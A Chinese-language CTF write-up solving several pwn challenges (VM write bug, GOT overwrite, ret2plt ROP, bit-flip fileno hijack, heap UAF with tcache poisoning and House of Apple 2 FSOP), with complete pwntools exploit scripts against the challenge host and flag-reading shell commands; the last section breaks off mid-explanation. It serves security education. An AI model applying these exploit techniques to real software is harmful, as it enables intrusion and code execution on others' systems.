chaos
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
这是一个“输入十六进制字节码 -> VM 执行”的题
主函数:
+--------------------------------------------------------------+
| read(0x400 bytes) 从 stdin 读输入 |
| 每 2 个 hex 字符 -> 1 个字节(sscanf("%2x")) |
| 写进全局 bytecode 区 0x4050e0 |
| 然后调用 vm_dispatch(0x401542) |
+--------------------------------------------------------------+
初始化 VM 状态、读取用户输入的十六进制字符串、把 hex 两位一组转换成字节写进全局字节码区,然后执行 VM
在 0x401186(初始化函数)里可以看到三个关键全局变量被初始化:0x4052e8 是解码 key,初值 0x55;0x4052e9 是运行标志,初值 1;0x4052e0 是 PC(字节码读指针),初值默认是 0
dispatcher 在 0x401542,每轮读 3 字节:
op = code[pc] ^ key
a = code[pc+1] ^ key
b = code[pc+2] ^ key
pc += 3
idx = op % 7
call handlers[idx](reg[a], b, a)
key += 0x13
3 个字节,分别解码成 op/a/b。解码方式是 byte ^ key。读完 3 字节后 pc += 3,然后把 op 做 %7 选 handler。这里 %7 不是直接 idiv,而是编译器展开的乘法优化,在 0x4015c3 到 0x4015ec 那段。handler 表在 .data,地址 0x404020,里面 7 个函数指针:
0x404020 -> 0x4011f5 halt
0x404028 -> 0x401222 set
0x404030 -> 0x401260 add
0x404038 -> 0x40130a xor
0x404040 -> 0x4013b6 read
0x404048 -> 0x401463 write <-- 这里write handler 内部会额外 key += 1
0x404050 -> 0x4014f0 debug
dispatcher 调用约定是 handlers[idx](reg[a], b, a),也就是 rdi=reg[a],rsi=b,rdx=a。调用后统一执行 key += 0x13。如果 opcode 是 write,handler 内部还会额外做一次 key += 1,所以编码器必须把这条额外状态迁移也模拟进去,否则 payload 会在中途解码错位
看 write(0x401463):
off = reg[addr_idx]
if (off > 0xfff) ->失败
else *(qword *)(0x4040a0 + 0x40 + off) = src_val
这里少了 off < 0 的判断,只检查了 off <= 0xfff,没有检查 off >= 0。off 是有符号 qword,所以负数可以通过检查,最终形成向低地址任意写(qword)
低地址 高地址
+-------------------------------+-------------------------------+
| 0x404020: handler表[0..6] | 0x4040a0: reg[0..7] |
| 函数指针表 | VM寄存器 |
+-------------------------------+-------------------------------+
^
|
VM内存基址 = 0x4040a0 + 0x40 = 0x4040e0
写入目标地址公式:target =0x4040a0 + 0x40 + off=0x4040e0+off
想覆盖 handlers[0](0x404020),off = 0x404020 – 0x4040e0 = -0xc0
所以只要让 off = -0xc0,write 就会把数据写到函数表首项
首项原本是 halt,改成 system@plt(0x401090) 后,再执行一条 opcode 0,dispatcher 就会以可控 rdi 调 system
EXP
#!/usr/bin/env python3
from pwn import *
import re
HOST = "chall.0xfun.org"
PORT = 31494
class ChaosAsm:
def __init__(self):
self.key = 0x55
self.buf = bytearray()
def emit(self, op: int, a: int, b: int):
self.buf.extend(
[
(op & 0xFF) ^ self.key,
(a & 0xFF) ^ self.key,
(b & 0xFF) ^ self.key,
]
)
if op == 5:
self.key = (self.key + 1) & 0xFF
self.key = (self.key + 0x13) & 0xFF
def op_set(self, reg_idx: int, val: int):
self.emit(1, reg_idx, val)
def op_read(self, dst_reg: int, addr_reg: int):
self.emit(4, dst_reg, addr_reg)
def op_write(self, src_reg: int, addr_reg: int):
self.emit(5, src_reg, addr_reg)
def write_byte(self, off: int, val: int):
self.op_set(0, val)
self.op_set(1, off)
self.op_write(0, 1)
def write_qword(self, off: int, qword: int):
for i in range(8):
self.write_byte(off + i, (qword >> (8 * i)) & 0xFF)
def payload(self) -> bytes:
return bytes(self.buf)
def build_payload() -> bytes:
asm = ChaosAsm()
# "/bin/sh\x00" @ (base + 0x40) = 0x4040e0
cmd = b"/bin/sh\x00"
for i, ch in enumerate(cmd):
asm.write_byte(i, ch)
# constants in writable VM memory
# 0x10 -> -0xc0 (offset to 0x404020 from 0x4040e0)
asm.write_qword(0x10, 0xFFFFFFFFFFFFFF40)
# 0x18 -> system@plt
asm.write_qword(0x18, 0x401090)
# 0x20 -> pointer to "/bin/sh"
asm.write_qword(0x20, 0x4040E0)
# load constants into registers
asm.op_set(1, 0x10)
asm.op_read(2, 1) # r2 = -0xc0
asm.op_set(1, 0x18)
asm.op_read(3, 1) # r3 = system@plt
asm.op_set(1, 0x20)
asm.op_read(4, 1) # r4 = "/bin/sh" ptr
# overwrite fn_table[0] with system@plt
asm.op_write(3, 2)
# opcode 0 now calls system(r4)
asm.emit(0, 4, 0)
raw = asm.payload()
if len(raw) > 0x201:
raise ValueError(f"payload too large: {len(raw)} bytes")
return raw
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process("./extracted/chaos")
def main():
context.log_level = "info"
payload = build_payload()
io = start()
io.recvuntil(b"Feed the chaos (Hex encoded): ")
io.sendline(payload.hex().encode())
io.recvuntil(b"Executing...\n", timeout=3)
if args.INTERACTIVE:
io.interactive()
return
# Use the spawned shell to discover candidate paths, then print flag.
io.sendline(
b"echo PWNED; id; pwd; ls -la; ls /; find / -maxdepth 4 -name '*flag*' 2>/dev/null"
)
io.sendline(
b"cat /flag 2>/dev/null || cat /home/pwn/flag.txt 2>/dev/null || cat /home/ctf/flag 2>/dev/null || cat /app/flag 2>/dev/null || cat flag 2>/dev/null"
)
io.sendline(b"exit")
out = io.recvall(timeout=3)
print(out.decode(errors="ignore"))
m = re.search(rb"(0xfun\{[^}\n]+\}|flag\{[^}\n]+\}|FLAG\{[^}\n]+\})", out)
if m:
log.success(f"FLAG: {m.group(1).decode(errors='ignore')}")
else:
log.warning("flag pattern not found in output; check raw output above")
if __name__ == "__main__":
main()
0xfun{l00k5_l1k3_ch479p7_c0uldn7_50lv3_7h15_0n3}
what you have
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
签到题,丢到ida第一眼就看中了这个后门函数win(),控制流打到这里就结束了:
void __noreturn win()
{
FILE *stream; // [rsp+8h] [rbp-58h]
_QWORD ptr[10]; // [rsp+10h] [rbp-50h] BYREF
ptr[9] = __readfsqword(0x28u);
stream = fopen("flag.txt", "r");
memset(ptr, 0, 64);
if ( !stream )
{
perror("Failed to open \"flag.txt\".");
exit(1);
}
fread(ptr, 1uLL, 0x40uLL, stream);
printf("I like what you GOT! Take this: %s.\n", (const char *)ptr);
exit(0);
}
main 反编译后逻辑非常直接
int main() {
unsigned long addr;
unsigned long value;
setbuf(stdout, 0);
puts("Show me what you GOT!");
scanf("%lu", &addr);
puts("Show me what you GOT! I want to see what you GOT!");
scanf("%lu", &value);
*(unsigned long *)addr = value;
puts("Goodbye!");
return 0;
}
漏洞在 *(unsigned long *)addr = value,addr 和 value 都由用户通过 %lu 完整控制,没有任何白名单或范围限制,这就是一个 8 字节任意地址写原语
利用思路很简单,程序在任意写之后会调用一次 puts("Goodbye!"),如果把 puts@got 改成 win,这次 puts 实际就会跳到 win。 因为 No PIE,win 地址固定 0x401236,No RELRO,所以puts@got 可写,地址是 0x403430。 所以输入两次十进制数字即可:
第一行写入地址:4207664(即 0x403430) 第二行写入内容:4198966(即 0x401236)
EXP
from pwn import *
io = remote("chall.0xfun.org", 59632)
io.recvuntil(b"GOT!")
io.sendline(str(0x403430).encode()) # puts@got
io.recvuntil(b"GOT!")
io.sendline(str(0x401236).encode()) # win
print(io.recvall(timeout=3).decode(errors="ignore"))
0xfun{g3tt1ng_schw1fty_w1th_g0t_0v3rwr1t3s_1384311_m4x1m4l}
Fridge
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
一个 32 位菜单程序
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+1h] [ebp-9h]
puts(open_message);
while ( 1 )
{
puts(options_message); // 全局变量,指针
printf("> ");
fflush(stdout);
v4 = getchar();
while ( getchar() != 10 )
;
if ( v4 == '3' )
break;
if ( v4 > '3' )
goto LABEL_12;
if ( v4 == '1' )
{
print_food();
}
else if ( v4 == '2' )
{
set_welcome_message();
}
else
{
LABEL_12:
puts("Invalid option.");
}
}
puts("Bye!");
return 0;
}
选 `1`:print_food()
选 `2`:set_welcome_message()
选 `3`:退出
漏洞在set_welcome_message:
int set_welcome_message()
{
char s[32]; // [esp+Ch] [ebp-2Ch] BYREF
FILE *stream; // [esp+2Ch] [ebp-Ch]
puts("New welcome message (up to 32 chars):");
gets(s);
stream = fopen(config_filepath, "w");
if ( !stream )
{
puts("Unable to open config file.");
exit(1);
}
fprintf(stream, "welcome_msg: %s", s);
return fclose(stream);
}
这里的gets没有设置长度检查,直接把用户输入写进栈缓冲区,可以造成栈缓冲区溢出
题目自带system@plt,gets@plt,exit@plt
08049060 <gets@plt>:
8049060: ff 25 0c c0 04 08 jmp DWORD PTR ds:0x804c00c
8049066: 68 18 00 00 00 push 0x18
804906b: e9 b0 ff ff ff jmp 8049020 <_init+0x20>
080490a0 <system@plt>:
80490a0: ff 25 1c c0 04 08 jmp DWORD PTR ds:0x804c01c
80490a6: 68 38 00 00 00 push 0x38
80490ab: e9 70 ff ff ff jmp 8049020 <_init+0x20>
080490b0 <exit@plt>:
80490b0: ff 25 20 c0 04 08 jmp DWORD PTR ds:0x804c020
80490b6: 68 40 00 00 00 push 0x40
80490bb: e9 60 ff ff ff jmp 8049020 <_init+0x20>
接下来可以利用ret2plt来做,栈溢出到返回地址构造rop链
先调用 `gets(CMD_BUF)`,把命令字符串写进可写内存
再调用 `system(CMD_BUF)` 执行命令拿 flag
中间插一个 `pop ebx ; ret`,用来把 `gets` 的参数弹掉,修正栈
构造如下:
+------------------+
| A * 48 |
+------------------+
| gets@plt |
+------------------+
| pop ebx ; ret |
+------------------+
| CMD_BUF | --> gets(CMD_BUF)
+------------------+
| system@plt |
+------------------+
| exit@plt |
+------------------+
| CMD_BUF | --> system(CMD_BUF)
+------------------+
gets(CMD_BUF) -> (清栈) -> system(CMD_BUF) -> exit()
EXP
#!/usr/bin/env python3
import os
import subprocess
import tempfile
from pathlib import Path
from pwn import *
HOST = "chall.0xfun.org"
PORT = 3900
context.clear(arch="i386")
context.binary = ELF("./vuln", checksec=False)
GETS_PLT = 0x08049060
SYSTEM_PLT = 0x080490A0
EXIT_PLT = 0x080490B0
POP_EBX_RET = 0x0804901E
OFFSET = 48
CMD_BUF = 0x0804C800
RUNTIME_DIR = Path(__file__).resolve().parent / ".glibc32"
RUNTIME_LIBDIR = RUNTIME_DIR / "usr/lib32"
RUNTIME_LOADER = RUNTIME_LIBDIR / "ld-linux.so.2"
SYSTEM_LOADER_CANDIDATES = (
"/lib/ld-linux.so.2",
"/lib32/ld-linux.so.2",
"/lib/i386-linux-gnu/ld-linux.so.2",
)
def _bootstrap_glibc32():
if RUNTIME_LOADER.exists():
return True
log.info("Bootstrapping local i386 runtime into ./.glibc32 ...")
RUNTIME_DIR.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory(prefix="glibc32-") as tmpdir:
dl = subprocess.run(
["apt", "download", "-y", "libc6-i386"],
cwd=tmpdir,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
if dl.returncode != 0:
log.warning(dl.stdout.strip())
return False
debs = sorted(Path(tmpdir).glob("libc6-i386_*_amd64.deb"))
if not debs:
return False
ex = subprocess.run(
["dpkg-deb", "-x", str(debs[0]), str(RUNTIME_DIR)],
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
)
if ex.returncode != 0:
log.warning(ex.stdout.strip())
return False
return RUNTIME_LOADER.exists()
def conn():
if args.REMOTE:
return remote(HOST, PORT)
try:
return process(context.binary.path)
except FileNotFoundError:
if not os.path.exists(context.binary.path):
raise
for loader in SYSTEM_LOADER_CANDIDATES:
if os.path.exists(loader):
return process(
[loader, "--library-path", os.path.dirname(loader), context.binary.path]
)
if _bootstrap_glibc32():
return process(
[str(RUNTIME_LOADER), "--library-path", str(RUNTIME_LIBDIR), context.binary.path]
)
log.error(
"Cannot execute local i386 ELF (missing /lib/ld-linux.so.2). "
"Try `python3 exploit.py REMOTE=1`."
)
def main():
io = conn()
io.recvuntil(b"> ")
io.sendline(b"2")
io.recvuntil(b"New welcome message")
io.recvline(timeout=1)
# stage1: gets(CMD_BUF)
# stage2: system(CMD_BUF)
payload = b"A" * OFFSET
payload += p32(GETS_PLT)
payload += p32(POP_EBX_RET)
payload += p32(CMD_BUF)
payload += p32(SYSTEM_PLT)
payload += p32(EXIT_PLT)
payload += p32(CMD_BUF)
io.sendline(payload)
cmd = b"cat /flag 2>/dev/null || cat /home/ctf/flag 2>/dev/null || cat flag 2>/dev/null || cat flag.txt 2>/dev/null || ls -la"
io.sendline(cmd)
print(io.recvall(timeout=3).decode("latin-1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()
bit_flips
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
main 很短,调用 setup 之后打印一句话,然后进 vuln。setup 会 fopen("./commands","r") 并把 FILE* 放到全局变量 f。这个点后面非常关键,因为 cmd 读命令就是从这个 f 读的
FILE *setup()
{
FILE *result; // rax
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
result = fopen("./commands", "r");
f = result;
return result;
}
vuln 做了几件事。它先打印四个泄漏,分别是 &main、&system、&address、sbrk(NULL)。这里的 address 是栈上局部变量,位于 [rbp-0x10]。然后循环调用 bit_flip 三次,结束后把全局 lock 从 -1 写成 0
unsigned __int64 vuln()
{
void *v0; // rax
int i; // [rsp+Ch] [rbp-14h]
__int64 v3; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0LL;
printf("&main = %p\n", main);
printf("&system = %p\n", &system);
printf("&address = %p\n", &v3);
v0 = sbrk(0LL);
printf("sbrk(NULL) = %p\n", v0);
for ( i = 0; i <= 2; ++i )
bit_flip();
lock = 0;
return v4 - __readfsqword(0x28u);
}
bit_flip 的逻辑是读取一个地址和 bit 下标,然后把该地址对应字节做 xor (1 << bit)。bit 只能是 0..7。因为这里没有地址范围校验,所以这是一个“任意地址单 bit 翻转”原语。三次循环就是三次任意 bit flip
unsigned __int64 bit_flip()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
_BYTE *v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( lock != -1 )
exit(-1);
v2 = 0LL;
v1 = 0;
printf("> ");
__isoc23_scanf("%llx", &v2);
__isoc23_scanf("%d", &v1);
if ( v1 < 8 )
*v2 ^= 1 << v1;
else
puts("Go back to school");
return v3 - __readfsqword(0x28u);
}
注意到程序还包含一个后门cmd
unsigned __int64 cmd()
{
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
while ( fgets(s, 24, f) )
{
s[strcspn(s, "\n")] = 0;
if ( s[0] && system(s) == -1 )
{
perror("system");
exit(-1);
}
}
return v2 - __readfsqword(0x28u);
}
cmd 函数在 main 之后,程序正常流程不会调用。它循环执行 fgets(buf, 0x18, f),把读到的一行去掉换行后直接 system(buf),这就是一个现成的命令执行器
但是setup 里 f 指向 “./commands” 这个文件。
如果直接跳 cmd,它会执行文件里的固定命令
所以需要把 f->_fileno 改成 0 :
+------------------------+
| 原来:f 读 fd=3(文件) |
| 现在:f 读 fd=0(stdin) |
+------------------------+
这样 cmd 的 fgets 就会从网络输入读命令
第一步是控制返回地址。vuln 返回后会回到 main+0x1422。我们拿到 &address = rbp-0x10,所以保存的返回地址在 rbp+0x8,两者固定差值是 0x18,即 saved_rip = &address + 0x18。把最低字节从 0x22 翻 bit3 得到 0x2a,返回点从 main+0x1422 变成 main+0x142a,正好是 cmd+1
第二步和第三步用来改 f->_fileno
fileno 原值是 3:
3 = 0000 0011
翻 bit0 -> 0000 0010
翻 bit1 -> 0000 0000
(f 指针题目没有直接泄漏,但给了 sbrk(0)。在远端环境里可以稳定观察到 f = sbrk(0) - 0x20d60)
EXP
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./main', checksec=False)
HOST = 'chall.0xfun.org'
PORT = 19365
# On the remote challenge runtime, FILE* for ./commands is at (sbrk - 0x20d60).
F_FROM_BRK_DELTA = 0x20D60
FILE_FILENO_OFF = 0x70
def start():
if args.REMOTE:
return remote(HOST, PORT)
return process([elf.path])
def parse_leak(io, name: bytes) -> int:
io.recvuntil(name)
return int(io.recvline().strip(), 16)
def flip(io, addr: int, bit: int):
io.sendlineafter(b'> ', f'{addr:x}'.encode())
io.sendline(str(bit).encode())
def exploit(io):
io.recvuntil(b"I'm feeling super generous today\n")
main_addr = parse_leak(io, b'&main = ')
system_addr = parse_leak(io, b'&system = ')
addr_leak = parse_leak(io, b'&address = ')
brk_addr = parse_leak(io, b'sbrk(NULL) = ')
log.info(f'&main = {main_addr:#x}')
log.info(f'&system = {system_addr:#x}')
log.info(f'&address = {addr_leak:#x}')
log.info(f'sbrk = {brk_addr:#x}')
ret_addr = addr_leak + 0x18
f_ptr = brk_addr - F_FROM_BRK_DELTA
fileno_addr = f_ptr + FILE_FILENO_OFF
log.info(f'vuln saved RIP @ {ret_addr:#x}')
log.info(f'FILE* f = {f_ptr:#x}')
log.info(f'f->_fileno = {fileno_addr:#x}')
# 1) Change f->_fileno: 3 -> 0 so cmd() reads commands from stdin.
flip(io, fileno_addr, 0)
flip(io, fileno_addr, 1)
# 2) Redirect vuln return: main+0x1422 -> main+0x142a (cmd+1).
# Entering at cmd+1 skips push rbp, preserving stack alignment.
flip(io, ret_addr, 3)
if __name__ == '__main__':
io = start()
exploit(io)
io.sendline(b'cat flag')
print(io.recvrepeat(1.5).decode('latin-1', errors='replace'), end='')
0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8}
67
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
这题是一个典型的菜单堆题,比赛刚开始好像远端libc版本还有问题,尝试执行 ld-linux 时也返回“Permission denied”
delete_note(0x1465)有核心漏洞:只做了 free(notes[idx]),但没有把 notes[idx] 置空,也没有把 sizes[idx] 清零
unsigned __int64 delete_note()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( (unsigned int)v1 <= 9 && *((_QWORD *)¬es + v1) )
{
free(*((void **)¬es + v1));
puts("Note deleted!");
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}
可以做UAF
read_note(0x1517)和 edit_note(0x15fc)都只检查 notes[idx] != NULL,然后分别走 read(0, notes[idx], sizes[idx])和 write(1, notes[idx], sizes[idx])。由于 delete 后指针还在,这两条路分别形成 UAF 读和 UAF 写
先泄露libc:
申请 9 个 0x100
先 free 7 个填满 tcache
再 free 第 8 个,使其进入 unsorted bin
read 这个已释放块的前 8 字节(fd 指针)
接着是safe-linking下恢复堆地址(本题glibc2.42):
tcache next 指针是编码的:
encoded = real_next ^ (chunk_addr >> 12)
当释放相邻 A、B 两个同尺寸 chunk(A 先释放,B 后释放):
leak(A) = A >> 12 // next = NULL
leak(B) = A ^ (B >> 12)
已知尺寸可得:
B = A + delta
所以可枚举低 12 位恢复 A/B,拿到真实堆地址
然后是double free的绕过
glibc tcache_entry 关键字段可理解为:
[0x00] next
[0x08] key
正常第二次 free 同一 chunk 会被 key 检查拦住。
但这里有 UAF 写,所以可以先:
edit(freed_chunk, next=任意, key=0)
再 free 同一 chunk,绕过检测
再接着是tache投毒,改fd把malloc的地址引导到_IO_list_all 附近,然后把 _IO_list_all 改成 fake FILE 地址:
safe-linking 编码公式:
fake_fd = target ^ (victim_chunk_addr >> 12)
这里 target = libc_base + _IO_list_all
最后FSOP 触发 system
我用的是 fake FILE + _IO_wide_data + wide_vtable 的链(House of Apple 2)。FILE 主体放在堆上,vtable 设成真 _IO_wfile_jumps,_wide_data 指向我们伪造的 wide_data,再让 wide_data 里的 _wide_vtable 指向伪造的 wide_vtable,最后把 wide_vtable+0x68(__doallocate 槽位)改成 system。
退出菜单触发 exit 后,glibc 在 flush 链路里会走到 _IO_wdoallocbuf,内部间接调用 (*wide_vtable->__doallocate)(fp)。这里 fp 就是 fake FILE 指针,而 system 把它当 char * 用,所以只要 FILE 起始位置放命令字符串就能执行
在堆上伪造结构链:
fake_FILE
|
+--> _wide_data(指针) -------->改成指向fake_wide_data
|
+-->_wide_vtable(指针)-->fake_wide_vtable
|
+--> __doallocate = system
EXP
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./extract/chall", checksec=False)
libc = ELF("./extract/libc.so.6", checksec=False)
ld = "./extract/ld-linux-x86-64.so.2"
context.log_level = "info"
notes_sz = {}
ONE_OFF = int(args.OFF, 0) if args.OFF else 0x0
def start():
port = int(args.PORT) if args.PORT else 30195
if args.REMOTE:
return remote("chall.0xfun.org", port)
return process([ld, elf.path], env={"LD_PRELOAD": libc.path})
def cmd(io, c):
io.sendlineafter(b"> ", str(c).encode())
def create(io, idx, size, data):
notes_sz[idx] = size
cmd(io, 1)
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendlineafter(b"Size: ", str(size).encode())
io.sendafter(b"Data: ", data.ljust(size, b"\x00")[:size])
def delete(io, idx):
cmd(io, 2)
io.sendlineafter(b"Index: ", str(idx).encode())
def edit(io, idx, data):
cmd(io, 4)
io.sendlineafter(b"Index: ", str(idx).encode())
io.sendafter(b"New Data: ", data.ljust(notes_sz[idx], b"\x00")[: notes_sz[idx]])
def read_note(io, idx):
cmd(io, 3)
io.sendlineafter(b"Index: ", str(idx).encode())
io.recvuntil(b"Data: ")
d = io.recvn(notes_sz[idx], timeout=2)
io.recvline(timeout=2)
return d
def leak_libc(io):
for i in range(9):
create(io, i, 0x100, bytes([0x41 + i]) * 8)
for i in range(7):
delete(io, i)
delete(io, 7)
fd = u64(read_note(io, 7)[:8])
libc.address = fd - 0x1E7C20
log.success(f"libc base = {hex(libc.address)}")
if not args.REMOTE:
real = io.libs().get(libc.path)
if real is not None:
log.info(f"real libc base = {hex(real)} (delta {hex(libc.address - real)})")
def recover_pair(io, idx_a, idx_b, req_size):
l0 = u64(read_note(io, idx_a)[:8])
l1 = u64(read_note(io, idx_b)[:8])
delta = (req_size + 0x10 + 0xF) & ~0xF
a = None
for low in range(0x1000):
cand = (l0 << 12) | low
if (cand ^ ((cand + delta) >> 12)) == l1:
a = cand
break
if a is None:
raise RuntimeError("failed to recover heap chunk")
b = a + delta
log.success(f"heap chunk A = {hex(a)}")
log.success(f"heap chunk B = {hex(b)}")
return a, b
def build_fake_file(fake_addr):
wide_off = 0x200
wvt_off = 0x300
lock_off = 0x3E0
wide = fake_addr + wide_off
wvt = fake_addr + wvt_off
lock = fake_addr + lock_off
if args.CB:
if args.CB.startswith("0x"):
cb = int(args.CB, 16)
cb_name = "custom"
else:
cb = libc.sym[args.CB]
cb_name = args.CB
else:
cb = libc.sym["system"]
cb_name = "system"
log.info(f"callback({cb_name}) = {hex(cb)}")
p = bytearray(0x400)
if args.CMDHEX:
cmd = bytes.fromhex(args.CMDHEX)
if not cmd.endswith(b"\x00"):
cmd += b"\x00"
elif args.CMD:
cmd = args.CMD.encode() + b"\x00"
else:
cmd = b" /bin/cat flag*;/bin/cat /flag*"
log.info(f"cmd bytes = {cmd!r}")
p[: len(cmd)] = cmd
p[0x20:0x28] = p64(0) # _IO_write_base
p[0x28:0x30] = p64(1) # _IO_write_ptr
p[0x68:0x70] = p64(0) # _chain
p[0x88:0x90] = p64(lock) # _lock
p[0xA0:0xA8] = p64(wide) # _wide_data
p[0xD8:0xE0] = p64(libc.sym["_IO_wfile_jumps"]) # vtable
p[wide_off + 0x18 : wide_off + 0x20] = p64(0) # _IO_write_base
p[wide_off + 0x20 : wide_off + 0x28] = p64(1) # _IO_write_ptr
p[wide_off + 0x30 : wide_off + 0x38] = p64(0) # _IO_buf_base
p[wide_off + 0xE0 : wide_off + 0xE8] = p64(wvt) # _wide_vtable
p[wvt_off + 0x68 : wvt_off + 0x70] = p64(cb) # __doallocate
p[lock_off : lock_off + 8] = p64(0)
return bytes(p)
def overwrite_io_list_all(io, chunk_b_addr, fake_file_addr):
edit(io, 3, b"X" * 8 + p64(0))
delete(io, 3)
target = libc.sym["_IO_list_all"]
encoded = target ^ (chunk_b_addr >> 12)
log.info(f"_IO_list_all = {hex(target)}")
log.info(f"fake FILE = {hex(fake_file_addr)}")
create(io, 4, 0x20, p64(encoded))
create(io, 5, 0x20, b"Y" * 8)
create(io, 6, 0x20, p64(fake_file_addr))
def main():
io = start()
leak_libc(io)
create(io, 0, 0x400, b"A" * 8)
create(io, 1, 0x400, b"B" * 8)
delete(io, 0)
delete(io, 1)
_, fake_file = recover_pair(io, 0, 1, 0x400)
edit(io, 1, build_fake_file(fake_file))
create(io, 2, 0x20, b"C" * 8)
create(io, 3, 0x20, b"D" * 8)
delete(io, 2)
delete(io, 3)
_, small_b = recover_pair(io, 2, 3, 0x20)
overwrite_io_list_all(io, small_b, fake_file)
cmd(io, 5)
if args.REMOTE and args.INTERACTIVE:
io.interactive()
else:
if not args.REMOTE:
io.sendline(b"echo PWNED;id;exit")
out = io.recvall(timeout=2)
print(out.decode("latin-1", "ignore"))
if not args.REMOTE and hasattr(io, "poll"):
log.info(f"poll = {io.poll()}")
if __name__ == "__main__":
main()
0xfun{p4cm4n_Syu_br0k3_my_xpl0it_btW}
67 revenge
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
对比上一题67,这道题已经修复了uaf漏洞,还多了seccomp
白名单如下:
$ seccomp-tools dump ./chall
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0f 0xc000003e if (A != ARCH_X86_64) goto 0017
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0c 0xffffffff if (A != 0xffffffff) goto 0017
0005: 0x15 0x0a 0x00 0x00000000 if (A == read) goto 0016
0006: 0x15 0x09 0x00 0x00000001 if (A == write) goto 0016
0007: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0016
0008: 0x15 0x07 0x00 0x00000003 if (A == close) goto 0016
0009: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0016
0010: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0016
0011: 0x15 0x04 0x00 0x0000000a if (A == mprotect) goto 0016
0012: 0x15 0x03 0x00 0x0000000c if (A == brk) goto 0016
0013: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0016
0014: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0016
0015: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0017
0016: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0017: 0x06 0x00 0x00 0x00000000 return KILL
这题的漏洞点在edit_note(0x1786)函数
unsigned __int64 edit_note()
{
signed int v1; // [rsp+0h] [rbp-10h]
int bytes_read; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( (unsigned int)v1 < 0x10 && *((_QWORD *)¬es + v1) )
{
printf("Data: ");
bytes_read = read(0, *((void **)¬es + v1), sizes[v1]);
if ( bytes_read >= 0 )
*(_BYTE *)(*((_QWORD *)¬es + v1) + bytes_read) = 0;
puts("Updated!");
}
return v3 - __readfsqword(0x28u);
}
它先 read(0, notes[idx], sizes[idx]),返回值存在bytes_read,然后执行notes[idx][bytes_read] = 0;
相当于在read结束后的末尾加一个’\0′
如果bytes_read == sizes[idx],这个’\0’会写到 chunk user 区后一个字节,也就是相邻 chunk 头部,形成 off-by-null
假设相邻布局是:
[ chunk A (idx2, req=0x3e8) ] [ chunk B (idx3, req=0x500) ]
当对 A 执行 edit,且 read 恰好读满 0x3e8 时:
A[0x3e8] = 0
|
+--> 打到 B 头部关键字节(size 字段低字节)
利用链思路:
先把核心相邻结构摆好(req=用户申请大小,csz=真实 chunk size)
低地址
|
v
+-------------------------------+
| idx0 : req 0x500 (csz 0x510) |
+-------------------------------+
| idx1 : req 0x500 (csz 0x510) |
+-------------------------------+
| idx2 : req 0x3e8 (csz 0x3f0) | <-- A (漏洞操作块)
+-------------------------------+
| idx3 : req 0x500 (csz 0x510) | <-- B (被 off-null 影响)
+-------------------------------+
| idx4 : req 0x500 (csz 0x510) | <-- guard
+-------------------------------+
^
|
高地址
然后分配 idx5~idx11(0x500) 再全部 free,制造可复用大块池,让后续分配来源固定在一段可预测区域,这一步为了稳定
idx4 后方区域(先占满)
+------+------+------+------+------+------+------+
| c5 | c6 | c7 | c8 | c9 | c10 | c11 |
+------+------+------+------+------+------+------+
全部 free 后(作为后续 0x500 申请池)
+------------------------------------------------+
| reusable large area (unsorted/top) |
+------------------------------------------------+
接着申请/释放 idx12,13,14,15,利用残留内容做 libc+heap 泄漏
create 12,13,14,15 (0x500)
delete 12
delete 14
free 次序故意是 12 再 14,中间保留 13 已分配,避免 12/14 直接相邻合并,15的存在是为了避免14与top chunk合并
两个 0x510 free chunk 进 unsorted 后,链可理解成:
unsorted head <-> [chunk14] <-> [chunk12] <-> head
glibc 取 unsorted 时会从一端取(本利用里取回的是 chunk12),
而 free 态 chunk 的 user 前 16 字节就是双向链指针:
